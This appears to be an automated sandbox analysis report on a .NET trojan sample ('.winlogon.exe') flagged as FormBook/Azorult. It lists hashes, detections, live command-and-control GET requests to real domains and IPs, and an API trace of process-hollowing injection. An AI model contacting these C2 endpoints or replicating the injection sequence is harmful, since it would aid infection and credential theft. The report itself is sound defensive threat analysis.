popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

.winlogon.exe

Generic Malware PWS AntiDebug PE File PE32 .NET EXE AntiVM
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 Nov. 25, 2021, 12:16 p.m. Nov. 25, 2021, 12:18 p.m.
Size 682.0KB
Type PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5 f74d638dbfd6af55bd91dbea9144b207
SHA256 2ee00fc9a73fae3aa751e75cada3a45e8691a61af4e1ded00c82aa36afb5c41b
CRC32 EDDCF524
ssdeep 12288:ekPFYWS0nRK9NDei0R1fiVc5vaiWT8DD7M:w0ncfDH0ffiVOeIDk
PDB Path InternalCrossContextDelega.pdb
Yara
  • PE_Header_Zero - PE File Signature
  • Generic_Malware_Zero - Generic Malware
  • IsPE32 - (no description)
  • Is_DotNET_EXE - (no description)
  • Win32_Trojan_PWS_Net_1_Zero - Win32 Trojan PWS .NET Azorult

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.101:49165 -> 103.253.215.130:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49165 -> 103.253.215.130:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49165 -> 103.253.215.130:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49171 -> 198.185.159.144:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49171 -> 198.185.159.144:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49171 -> 198.185.159.144:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49169 -> 196.247.61.11:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49169 -> 196.247.61.11:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49169 -> 196.247.61.11:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49166 -> 108.167.149.240:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49166 -> 108.167.149.240:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49166 -> 108.167.149.240:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49170 -> 206.188.192.231:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49170 -> 206.188.192.231:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49170 -> 206.188.192.231:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
pdb_path InternalCrossContextDelega.pdb
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
section .sdata
suspicious_features GET method with no useragent header suspicious_request GET http://www.palmjava.com/rf5o/?iB8DPfF8=xsG6FxdjqnF8uuYfyLNWqgH4SBtC5LcGbac3ZUyiiDQ8vcA5MRjpYhUzq3jffd2ZTqaN20YJ&Ir=Y48Du8sh
suspicious_features GET method with no useragent header suspicious_request GET http://www.ayudasdelgobierno.com/rf5o/?iB8DPfF8=J/apB9ZiXP6OuF86W+fAr5sk5ZNGf1mieNBpy9Iv+UyF/MsyOEZKsoGBhRQOBOKs3XreoL7F&Ir=Y48Du8sh
suspicious_features GET method with no useragent header suspicious_request GET http://www.mephisto-romania.com/rf5o/?iB8DPfF8=ognUjWY6KOidWyfcMPakERI2bed9J+C9zZCf9F9Go147zPP3kIl/oXNBbev8HkyRHCGMOdNK&Ir=Y48Du8sh
suspicious_features GET method with no useragent header suspicious_request GET http://www.monacheesa.com/rf5o/?iB8DPfF8=pqBniIUMcKAVrfUDXBsY6Zdq+nAKaopX/nkNDTwKSe3hkcegDeaCXTITtOuZg8axbBEUW87Q&Ir=Y48Du8sh
suspicious_features GET method with no useragent header suspicious_request GET http://www.myclubrover.com/rf5o/?iB8DPfF8=JOUvoATkCjKj98dDZiiXPstlnChN/Oj8kkN7tCWBwmLCwOh5imTYHs1jUspe3LhL6SDHlyF3&Ir=Y48Du8sh
request GET http://www.palmjava.com/rf5o/?iB8DPfF8=xsG6FxdjqnF8uuYfyLNWqgH4SBtC5LcGbac3ZUyiiDQ8vcA5MRjpYhUzq3jffd2ZTqaN20YJ&Ir=Y48Du8sh
request GET http://www.ayudasdelgobierno.com/rf5o/?iB8DPfF8=J/apB9ZiXP6OuF86W+fAr5sk5ZNGf1mieNBpy9Iv+UyF/MsyOEZKsoGBhRQOBOKs3XreoL7F&Ir=Y48Du8sh
request GET http://www.mephisto-romania.com/rf5o/?iB8DPfF8=ognUjWY6KOidWyfcMPakERI2bed9J+C9zZCf9F9Go147zPP3kIl/oXNBbev8HkyRHCGMOdNK&Ir=Y48Du8sh
request GET http://www.monacheesa.com/rf5o/?iB8DPfF8=pqBniIUMcKAVrfUDXBsY6Zdq+nAKaopX/nkNDTwKSe3hkcegDeaCXTITtOuZg8axbBEUW87Q&Ir=Y48Du8sh
request GET http://www.myclubrover.com/rf5o/?iB8DPfF8=JOUvoATkCjKj98dDZiiXPstlnChN/Oj8kkN7tCWBwmLCwOh5imTYHs1jUspe3LhL6SDHlyF3&Ir=Y48Du8sh
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2872
region_size: 393216
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00550000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2872
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00570000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2872
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72e31000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2872
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72e32000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2872
region_size: 1966080
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00a40000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2872
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00be0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2872
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00562000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2872
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x005d5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2872
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x005db000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2872
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x005d7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2872
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x005bc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2872
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x009e0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2872
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0056a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2872
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x005ca000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2872
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x005c7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2872
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x005ba000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2872
region_size: 16384
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x009e1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2872
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73a22000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2872
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x005c6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2872
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x009e5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2872
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x009e6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2872
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x009e7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2872
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x005bd000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2872
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x009e8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2872
region_size: 20480
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x009e9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2872
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x009ee000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2872
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x009ef000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2872
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x044a0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2872
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x044a1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2244
region_size: 3158016
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00980000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0
section {u'size_of_data': u'0x00081000', u'virtual_address': u'0x00002000', u'entropy': 7.796684423647176, u'name': u'.text', u'virtual_size': u'0x00080f94'} entropy 7.79668442365 description A section with a high entropy has been found
entropy 0.757709251101 description Overall entropy of this PE file is high
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Bypass DEP rule disable_dep
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2244
region_size: 167936
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x0000025c
1 0 0
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: MZERèXƒè ‹ÈƒÀ<‹ÁƒÀ(ÿᐸº´ Í!¸LÍ!This program cannot be run in DOS mode. $}f?9QH9QH9QH"šúHuQH"šÏH:QH"šÌH8QHRich9QHPELö1Rà  |Ԑ@@.text,{| `
base_address: 0x00400000
process_identifier: 2244
process_handle: 0x0000025c
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 2244
process_handle: 0x0000025c
1 1 0
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: MZERèXƒè ‹ÈƒÀ<‹ÁƒÀ(ÿᐸº´ Í!¸LÍ!This program cannot be run in DOS mode. $}f?9QH9QH9QH"šúHuQH"šÏH:QH"šÌH8QHRich9QHPELö1Rà  |Ԑ@@.text,{| `
base_address: 0x00400000
process_identifier: 2244
process_handle: 0x0000025c
1 1 0
Process injection Process 2872 called NtSetContextThread to modify thread in remote process 2244
Time & API Arguments Status Return Repeated

NtSetContextThread

 registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4314128
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000258
process_identifier: 2244
1 0 0
Process injection Process 2872 resumed a thread in remote process 2244
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x00000258
suspend_count: 1
process_identifier: 2244
1 0 0
Lionic Trojan.MSIL.Noon.l!c
Elastic malicious (high confidence)
MicroWorld-eScan IL:Trojan.MSILZilla.11065
FireEye Generic.mg.f74d638dbfd6af55
McAfee Artemis!F74D638DBFD6
BitDefenderTheta Gen:NN.ZemsilF.34294.Qq0@aqSbtjh
Cyren W32/MSIL_Kryptik.GDQ.gen!Eldorado
Symantec Scr.Malcode!gdn30
ESET-NOD32 a variant of MSIL/Kryptik_AGen.FC
TrendMicro-HouseCall TROJ_GEN.R002H07KO21
Paloalto generic.ml
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender IL:Trojan.MSILZilla.11065
Avast FileRepMalware
Ad-Aware IL:Trojan.MSILZilla.11065
VIPRE Trojan.Win32.Generic.pak!cobra
Emsisoft IL:Trojan.MSILZilla.11065 (B)
Microsoft Trojan:Win32/Sabsik.FL.B!ml
GData IL:Trojan.MSILZilla.11065
Cynet Malicious (score: 100)
ALYac IL:Trojan.MSILZilla.11065
MAX malware (ai score=80)
Malwarebytes MachineLearning/Anomalous.100%
APEX Malicious
SentinelOne Static AI - Malicious PE
MaxSecure Trojan.Malware.300983.susgen
AVG FileRepMalware
CrowdStrike win/malicious_confidence_90% (W)
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x000000dc
suspend_count: 1
process_identifier: 2872
1 0 0

NtResumeThread

 thread_handle: 0x00000150
suspend_count: 1
process_identifier: 2872
1 0 0

NtResumeThread

 thread_handle: 0x00000190
suspend_count: 1
process_identifier: 2872
1 0 0

CreateProcessInternalW

 thread_identifier: 2240
thread_handle: 0x00000258
process_identifier: 2244
current_directory:
filepath: C:\Users\test22\AppData\Local\Temp\.winlogon.exe
track: 1
command_line:
filepath_r: C:\Users\test22\AppData\Local\Temp\.winlogon.exe
stack_pivoted: 0
creation_flags: 134217732 (CREATE_NO_WINDOW|CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x0000025c
1 1 0

NtGetContextThread

 thread_handle: 0x00000258
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2244
region_size: 167936
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x0000025c
1 0 0

WriteProcessMemory

 buffer: MZERèXƒè ‹ÈƒÀ<‹ÁƒÀ(ÿᐸº´ Í!¸LÍ!This program cannot be run in DOS mode. $}f?9QH9QH9QH"šúHuQH"šÏH:QH"šÌH8QHRich9QHPELö1Rà  |Ԑ@@.text,{| `
base_address: 0x00400000
process_identifier: 2244
process_handle: 0x0000025c
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x00401000
process_identifier: 2244
process_handle: 0x0000025c
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 2244
process_handle: 0x0000025c
1 1 0

NtSetContextThread

 registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4314128
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000258
process_identifier: 2244
1 0 0

NtResumeThread

 thread_handle: 0x00000258
suspend_count: 1
process_identifier: 2244
1 0 0
dead_host 52.205.156.53:80
dead_host 3.224.108.191:80